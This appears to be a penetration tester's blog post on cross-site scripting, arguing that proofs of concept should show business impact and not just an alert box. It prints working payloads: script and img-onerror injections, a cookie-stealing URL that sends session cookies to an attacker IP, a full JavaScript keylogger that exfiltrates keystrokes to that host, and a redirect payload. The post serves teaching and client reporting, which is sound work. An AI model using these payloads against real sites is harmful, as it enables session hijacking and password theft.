XSS; Beyond the alert box

Cross site scripting (XSS) is everywhere. Holding the #3 spot on the OWASP Top 10 list, it is one of the most common findings while performing vulnerability assessments and penetration testing. With the rise of new web technologies, such as HTML5, the attack vector is constantly growing. Therefore, we also need to be advancing our detection techniques and how we are effectively communicating the business impacts to the client.

One of the most common techniques used as proof of concept (PoC) for identifying XSS has been the javascript alert box. The premise is this: if an attacker can send javascript code for an alert box into the application and have it executed within the browser, then XSS is present. For example:

The attacker modifies the user parameter to contain the javascript code for an alert box:

http://target.site/welcome.php?user=Danny<script>alert('XSS')</script>

The application then responds to the request with the unfiltered javascript code inserted within the HTML:

<span>Welcome Danny<script>alert('XSS')</script>!</span>

Which would then result in the following alert box:

The problem with this technique is not about its effectiveness, but rather that it doesn’t communicate clearly the source of the issue or the possible business impacts. Consider this: if the client uses the PoC alone for remediation, they may attempt to fix their application by blacklisting both the <script> and alert strings. Does this protect them from XSS? Certainly not. Let’s modify the attack to use an <img> tag and a confirm box instead:

http://target.site/welcome.php?user=Danny<img src=x onerror=confirm('XSS')>

The application then responds to the request with the filtered javascript code inserted within the HTML:

<span>Welcome Danny<img src=x onerror=confirm('XSS')>!</span>

Which would then result in the following confirm box:

Unless the client had decided to retest the application, they would have assumed that the vulnerability had been remediated. The heart of the issue is not the alert box, but rather that the application had trusted user provided data to be processed without sanitization.

Let’s look at the business impacts of XSS. Beside prompting for the user’s interaction, the alert box itself doesn’t pose a risk to the application. Also, based on the functionality and contents of the application being tested, the actual risk of XSS may vary greatly. With that said, there are many different attacks that go beyond the alert box in which the client should be made aware of. Here are few:

Session Hijacking #

A PoC could utilize XSS to steal session cookies for authenticated users and send them back to an attacker controlled server. Using our previous example and an attacker controlled server with the IP address of 5.5.5.5, it may look like this:

http://target.site/welcome.php?user=Danny<img src=x onerror=this.src='http://5.5.5.5/?cookie='+document.cookie>

The attacker would then check the logs on his server for the following request with the session cookie value:

Recording Keystrokes #

If the session cookies are protected by the HttpOnly flag, then it would be effective to demonstrate a key-logger attack as the PoC. On a login page, the following javascript would collect each keystroke from the user and send it to the attacker controlled server:

var data = '';
document.onkeypress = function(e) {
    var w = window.event ? event : e;
    var keystroke = w.keyCode ? w.keyCode : w.charCode;
    keystroke = String.fromCharCode(keystroke);
    data = data + keystroke;
}
window.setInterval(function(){
      new Image().src = 'http://5.5.5.5/?c=' + data;
      data = '';
}, 1500);

Because this code is larger than what we ideally would want to use in a GET request, the attacker could store the code in a file on his server and reference it using the <script src> attribute:

http://target.site/welcome.php?user=Danny<script src%3d'http://5.5.5.5/keylogger.js'></script>

The attacker would then check the logs on his server and see the user’s password sent over multiple requests: ThisIsMyPassword

Page Redirect #

If the application does not support authentication, such as a brochure site, then the PoC could redirect the user to a page of the attacker’s choosing. Some examples could be:

• Competitor’s website
• Installation page for a virus or backdoor
• Fake login for a popular website

The PoC for this type of attack would look like the following:

http://target.site/welcome.php?user=Danny<script>document.location='http://website'</script>

The application then responds to the request and would promptly redirect the user to the provided website:

<span>Welcome Danny<script>document.location='http://website'</script>!</span>

Web technologies will always be growing and changing, and in doing so will introduce new attack vectors along the way. If we are to provide valuable testing and awareness to clients, then we need to be going beyond the alert box. It is up to us to use whichever scenario best matches the application and communicates the business impact that would speak most to the client. The goal is to provide the information in a way which will best equip them to remediate the issue. While at the same time, what you are doing is demonstrating that you have in-depth knowledge of the vulnerability and value of your service.